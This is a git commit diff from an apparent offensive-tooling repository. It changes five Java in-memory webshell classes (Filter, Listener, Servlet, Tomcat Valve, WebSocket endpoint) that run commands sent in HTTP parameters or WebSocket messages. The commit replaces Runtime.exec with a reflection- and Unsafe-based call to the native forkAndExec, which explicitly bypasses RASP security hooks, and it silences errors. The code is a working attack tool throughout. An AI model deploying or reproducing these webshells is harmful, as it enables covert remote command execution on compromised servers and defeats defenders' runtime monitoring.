mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
feat: command unsafe bypass RASP
This commit is contained in:
+81
-9
@@ -1,10 +1,14 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
|
import sun.misc.Unsafe;
|
||||||
|
|
||||||
import javax.servlet.*;
|
import javax.servlet.*;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -27,20 +31,88 @@ public class CommandFilter implements Filter {
|
|||||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||||
String cmd = getParam(servletRequest.getParameter(paramName));
|
String cmd = getParam(servletRequest.getParameter(paramName));
|
||||||
if (cmd != null) {
|
try {
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
if (cmd != null) {
|
||||||
InputStream inputStream = exec.getInputStream();
|
InputStream inputStream = forkAndExec(cmd);
|
||||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
outputStream.write(buf, 0, length);
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
return;
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
chain.doFilter(servletRequest, servletResponse);
|
chain.doFilter(servletRequest, servletResponse);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||||
|
String[] strs = cmd.split("\\s+");
|
||||||
|
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||||
|
theUnsafeField.setAccessible(true);
|
||||||
|
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||||
|
|
||||||
|
Class<?> processClass = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
processClass = Class.forName("java.lang.UNIXProcess");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
processClass = Class.forName("java.lang.ProcessImpl");
|
||||||
|
}
|
||||||
|
|
||||||
|
Object processObject = unsafe.allocateInstance(processClass);
|
||||||
|
|
||||||
|
byte[][] args = new byte[strs.length - 1][];
|
||||||
|
int size = args.length;
|
||||||
|
|
||||||
|
for (int i = 0; i < args.length; i++) {
|
||||||
|
args[i] = strs[i + 1].getBytes();
|
||||||
|
size += args[i].length;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] argBlock = new byte[size];
|
||||||
|
int i = 0;
|
||||||
|
|
||||||
|
for (byte[] arg : args) {
|
||||||
|
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||||
|
i += arg.length + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int[] envc = new int[1];
|
||||||
|
int[] std_fds = new int[]{-1, -1, -1};
|
||||||
|
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||||
|
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||||
|
launchMechanismField.setAccessible(true);
|
||||||
|
helperpathField.setAccessible(true);
|
||||||
|
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||||
|
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||||
|
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||||
|
|
||||||
|
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||||
|
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||||
|
forkMethod.setAccessible(true);
|
||||||
|
|
||||||
|
byte[] bytes = strs[0].getBytes();
|
||||||
|
byte[] result = new byte[bytes.length + 1];
|
||||||
|
System.arraycopy(bytes, 0,
|
||||||
|
result, 0,
|
||||||
|
bytes.length);
|
||||||
|
result[result.length - 1] = (byte) 0;
|
||||||
|
|
||||||
|
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
|
||||||
|
null, envc[0], null, std_fds, false);
|
||||||
|
|
||||||
|
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||||
|
initStreamsMethod.setAccessible(true);
|
||||||
|
initStreamsMethod.invoke(processObject, std_fds);
|
||||||
|
|
||||||
|
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||||
|
getInputStreamMethod.setAccessible(true);
|
||||||
|
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void destroy() {
|
public void destroy() {
|
||||||
|
|
||||||
|
|||||||
+71
-2
@@ -1,11 +1,15 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
|
import sun.misc.Unsafe;
|
||||||
|
|
||||||
import javax.servlet.ServletOutputStream;
|
import javax.servlet.ServletOutputStream;
|
||||||
import javax.servlet.ServletRequestEvent;
|
import javax.servlet.ServletRequestEvent;
|
||||||
import javax.servlet.ServletRequestListener;
|
import javax.servlet.ServletRequestListener;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -32,8 +36,7 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
String cmd = getParam(request.getParameter(paramName));
|
String cmd = getParam(request.getParameter(paramName));
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
InputStream inputStream = forkAndExec(cmd);
|
||||||
InputStream inputStream = exec.getInputStream();
|
|
||||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
@@ -45,6 +48,72 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||||
|
String[] strs = cmd.split("\\s+");
|
||||||
|
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||||
|
theUnsafeField.setAccessible(true);
|
||||||
|
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||||
|
|
||||||
|
Class<?> processClass = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
processClass = Class.forName("java.lang.UNIXProcess");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
processClass = Class.forName("java.lang.ProcessImpl");
|
||||||
|
}
|
||||||
|
|
||||||
|
Object processObject = unsafe.allocateInstance(processClass);
|
||||||
|
|
||||||
|
byte[][] args = new byte[strs.length - 1][];
|
||||||
|
int size = args.length;
|
||||||
|
|
||||||
|
for (int i = 0; i < args.length; i++) {
|
||||||
|
args[i] = strs[i + 1].getBytes();
|
||||||
|
size += args[i].length;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] argBlock = new byte[size];
|
||||||
|
int i = 0;
|
||||||
|
|
||||||
|
for (byte[] arg : args) {
|
||||||
|
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||||
|
i += arg.length + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int[] envc = new int[1];
|
||||||
|
int[] std_fds = new int[]{-1, -1, -1};
|
||||||
|
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||||
|
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||||
|
launchMechanismField.setAccessible(true);
|
||||||
|
helperpathField.setAccessible(true);
|
||||||
|
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||||
|
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||||
|
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||||
|
|
||||||
|
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||||
|
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||||
|
forkMethod.setAccessible(true);
|
||||||
|
|
||||||
|
byte[] bytes = strs[0].getBytes();
|
||||||
|
byte[] result = new byte[bytes.length + 1];
|
||||||
|
System.arraycopy(bytes, 0,
|
||||||
|
result, 0,
|
||||||
|
bytes.length);
|
||||||
|
result[result.length - 1] = (byte) 0;
|
||||||
|
|
||||||
|
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
|
||||||
|
null, envc[0], null, std_fds, false);
|
||||||
|
|
||||||
|
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||||
|
initStreamsMethod.setAccessible(true);
|
||||||
|
initStreamsMethod.invoke(processObject, std_fds);
|
||||||
|
|
||||||
|
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||||
|
getInputStreamMethod.setAccessible(true);
|
||||||
|
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||||
|
}
|
||||||
|
|
||||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|||||||
+81
-8
@@ -1,5 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
|
import sun.misc.Unsafe;
|
||||||
|
|
||||||
import javax.servlet.ServletException;
|
import javax.servlet.ServletException;
|
||||||
import javax.servlet.ServletOutputStream;
|
import javax.servlet.ServletOutputStream;
|
||||||
import javax.servlet.http.HttpServlet;
|
import javax.servlet.http.HttpServlet;
|
||||||
@@ -7,6 +9,8 @@ import javax.servlet.http.HttpServletRequest;
|
|||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -27,15 +31,84 @@ public class CommandServlet extends HttpServlet {
|
|||||||
@Override
|
@Override
|
||||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||||
String cmd = getParam(request.getParameter(paramName));
|
String cmd = getParam(request.getParameter(paramName));
|
||||||
if (cmd != null) {
|
try {
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
if (cmd != null) {
|
||||||
InputStream inputStream = exec.getInputStream();
|
InputStream inputStream = forkAndExec(cmd);
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
outputStream.write(buf, 0, length);
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||||
|
String[] strs = cmd.split("\\s+");
|
||||||
|
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||||
|
theUnsafeField.setAccessible(true);
|
||||||
|
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||||
|
|
||||||
|
Class<?> processClass = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
processClass = Class.forName("java.lang.UNIXProcess");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
processClass = Class.forName("java.lang.ProcessImpl");
|
||||||
|
}
|
||||||
|
|
||||||
|
Object processObject = unsafe.allocateInstance(processClass);
|
||||||
|
|
||||||
|
byte[][] args = new byte[strs.length - 1][];
|
||||||
|
int size = args.length;
|
||||||
|
|
||||||
|
for (int i = 0; i < args.length; i++) {
|
||||||
|
args[i] = strs[i + 1].getBytes();
|
||||||
|
size += args[i].length;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] argBlock = new byte[size];
|
||||||
|
int i = 0;
|
||||||
|
|
||||||
|
for (byte[] arg : args) {
|
||||||
|
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||||
|
i += arg.length + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int[] envc = new int[1];
|
||||||
|
int[] std_fds = new int[]{-1, -1, -1};
|
||||||
|
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||||
|
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||||
|
launchMechanismField.setAccessible(true);
|
||||||
|
helperpathField.setAccessible(true);
|
||||||
|
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||||
|
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||||
|
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||||
|
|
||||||
|
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||||
|
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||||
|
forkMethod.setAccessible(true);
|
||||||
|
|
||||||
|
byte[] bytes = strs[0].getBytes();
|
||||||
|
byte[] result = new byte[bytes.length + 1];
|
||||||
|
System.arraycopy(bytes, 0,
|
||||||
|
result, 0,
|
||||||
|
bytes.length);
|
||||||
|
result[result.length - 1] = (byte) 0;
|
||||||
|
|
||||||
|
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
|
||||||
|
null, envc[0], null, std_fds, false);
|
||||||
|
|
||||||
|
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||||
|
initStreamsMethod.setAccessible(true);
|
||||||
|
initStreamsMethod.invoke(processObject, std_fds);
|
||||||
|
|
||||||
|
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||||
|
getInputStreamMethod.setAccessible(true);
|
||||||
|
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+81
-9
@@ -3,11 +3,14 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
|||||||
import org.apache.catalina.Valve;
|
import org.apache.catalina.Valve;
|
||||||
import org.apache.catalina.connector.Request;
|
import org.apache.catalina.connector.Request;
|
||||||
import org.apache.catalina.connector.Response;
|
import org.apache.catalina.connector.Response;
|
||||||
|
import sun.misc.Unsafe;
|
||||||
|
|
||||||
import javax.servlet.ServletException;
|
import javax.servlet.ServletException;
|
||||||
import javax.servlet.ServletOutputStream;
|
import javax.servlet.ServletOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -46,17 +49,86 @@ public class CommandValve implements Valve {
|
|||||||
@Override
|
@Override
|
||||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||||
String cmd = getParam(request.getParameter(paramName));
|
String cmd = getParam(request.getParameter(paramName));
|
||||||
if (cmd != null) {
|
try {
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
if (cmd != null) {
|
||||||
InputStream inputStream = exec.getInputStream();
|
InputStream inputStream = forkAndExec(cmd);
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
outputStream.write(buf, 0, length);
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
return;
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
}
|
}
|
||||||
this.getNext().invoke(request, response);
|
this.getNext().invoke(request, response);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||||
|
String[] strs = cmd.split("\\s+");
|
||||||
|
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||||
|
theUnsafeField.setAccessible(true);
|
||||||
|
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||||
|
|
||||||
|
Class<?> processClass = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
processClass = Class.forName("java.lang.UNIXProcess");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
processClass = Class.forName("java.lang.ProcessImpl");
|
||||||
|
}
|
||||||
|
|
||||||
|
Object processObject = unsafe.allocateInstance(processClass);
|
||||||
|
|
||||||
|
byte[][] args = new byte[strs.length - 1][];
|
||||||
|
int size = args.length;
|
||||||
|
|
||||||
|
for (int i = 0; i < args.length; i++) {
|
||||||
|
args[i] = strs[i + 1].getBytes();
|
||||||
|
size += args[i].length;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] argBlock = new byte[size];
|
||||||
|
int i = 0;
|
||||||
|
|
||||||
|
for (byte[] arg : args) {
|
||||||
|
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||||
|
i += arg.length + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int[] envc = new int[1];
|
||||||
|
int[] std_fds = new int[]{-1, -1, -1};
|
||||||
|
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||||
|
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||||
|
launchMechanismField.setAccessible(true);
|
||||||
|
helperpathField.setAccessible(true);
|
||||||
|
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||||
|
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||||
|
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||||
|
|
||||||
|
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||||
|
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||||
|
forkMethod.setAccessible(true);
|
||||||
|
|
||||||
|
byte[] bytes = strs[0].getBytes();
|
||||||
|
byte[] result = new byte[bytes.length + 1];
|
||||||
|
System.arraycopy(bytes, 0,
|
||||||
|
result, 0,
|
||||||
|
bytes.length);
|
||||||
|
result[result.length - 1] = (byte) 0;
|
||||||
|
|
||||||
|
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
|
||||||
|
null, envc[0], null, std_fds, false);
|
||||||
|
|
||||||
|
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||||
|
initStreamsMethod.setAccessible(true);
|
||||||
|
initStreamsMethod.invoke(processObject, std_fds);
|
||||||
|
|
||||||
|
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||||
|
getInputStreamMethod.setAccessible(true);
|
||||||
|
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
+71
-2
@@ -1,11 +1,15 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
|
import sun.misc.Unsafe;
|
||||||
|
|
||||||
import javax.websocket.Endpoint;
|
import javax.websocket.Endpoint;
|
||||||
import javax.websocket.EndpointConfig;
|
import javax.websocket.EndpointConfig;
|
||||||
import javax.websocket.MessageHandler;
|
import javax.websocket.MessageHandler;
|
||||||
import javax.websocket.Session;
|
import javax.websocket.Session;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
|
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
|
||||||
@@ -24,8 +28,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
|||||||
@Override
|
@Override
|
||||||
public void onMessage(String s) {
|
public void onMessage(String s) {
|
||||||
try {
|
try {
|
||||||
Process exec = Runtime.getRuntime().exec(getParam(s));
|
InputStream inputStream = forkAndExec(s);
|
||||||
InputStream inputStream = exec.getInputStream();
|
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
@@ -38,6 +41,72 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||||
|
String[] strs = cmd.split("\\s+");
|
||||||
|
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||||
|
theUnsafeField.setAccessible(true);
|
||||||
|
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||||
|
|
||||||
|
Class<?> processClass = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
processClass = Class.forName("java.lang.UNIXProcess");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
processClass = Class.forName("java.lang.ProcessImpl");
|
||||||
|
}
|
||||||
|
|
||||||
|
Object processObject = unsafe.allocateInstance(processClass);
|
||||||
|
|
||||||
|
byte[][] args = new byte[strs.length - 1][];
|
||||||
|
int size = args.length;
|
||||||
|
|
||||||
|
for (int i = 0; i < args.length; i++) {
|
||||||
|
args[i] = strs[i + 1].getBytes();
|
||||||
|
size += args[i].length;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] argBlock = new byte[size];
|
||||||
|
int i = 0;
|
||||||
|
|
||||||
|
for (byte[] arg : args) {
|
||||||
|
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||||
|
i += arg.length + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int[] envc = new int[1];
|
||||||
|
int[] std_fds = new int[]{-1, -1, -1};
|
||||||
|
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||||
|
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||||
|
launchMechanismField.setAccessible(true);
|
||||||
|
helperpathField.setAccessible(true);
|
||||||
|
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||||
|
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||||
|
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||||
|
|
||||||
|
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||||
|
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||||
|
forkMethod.setAccessible(true);
|
||||||
|
|
||||||
|
byte[] bytes = strs[0].getBytes();
|
||||||
|
byte[] result = new byte[bytes.length + 1];
|
||||||
|
System.arraycopy(bytes, 0,
|
||||||
|
result, 0,
|
||||||
|
bytes.length);
|
||||||
|
result[result.length - 1] = (byte) 0;
|
||||||
|
|
||||||
|
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
|
||||||
|
null, envc[0], null, std_fds, false);
|
||||||
|
|
||||||
|
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||||
|
initStreamsMethod.setAccessible(true);
|
||||||
|
initStreamsMethod.invoke(processObject, std_fds);
|
||||||
|
|
||||||
|
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||||
|
getInputStreamMethod.setAccessible(true);
|
||||||
|
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onOpen(final Session session, EndpointConfig config) {
|
public void onOpen(final Session session, EndpointConfig config) {
|
||||||
this.session = session;
|
this.session = session;
|
||||||
|
|||||||
Reference in New Issue
Block a user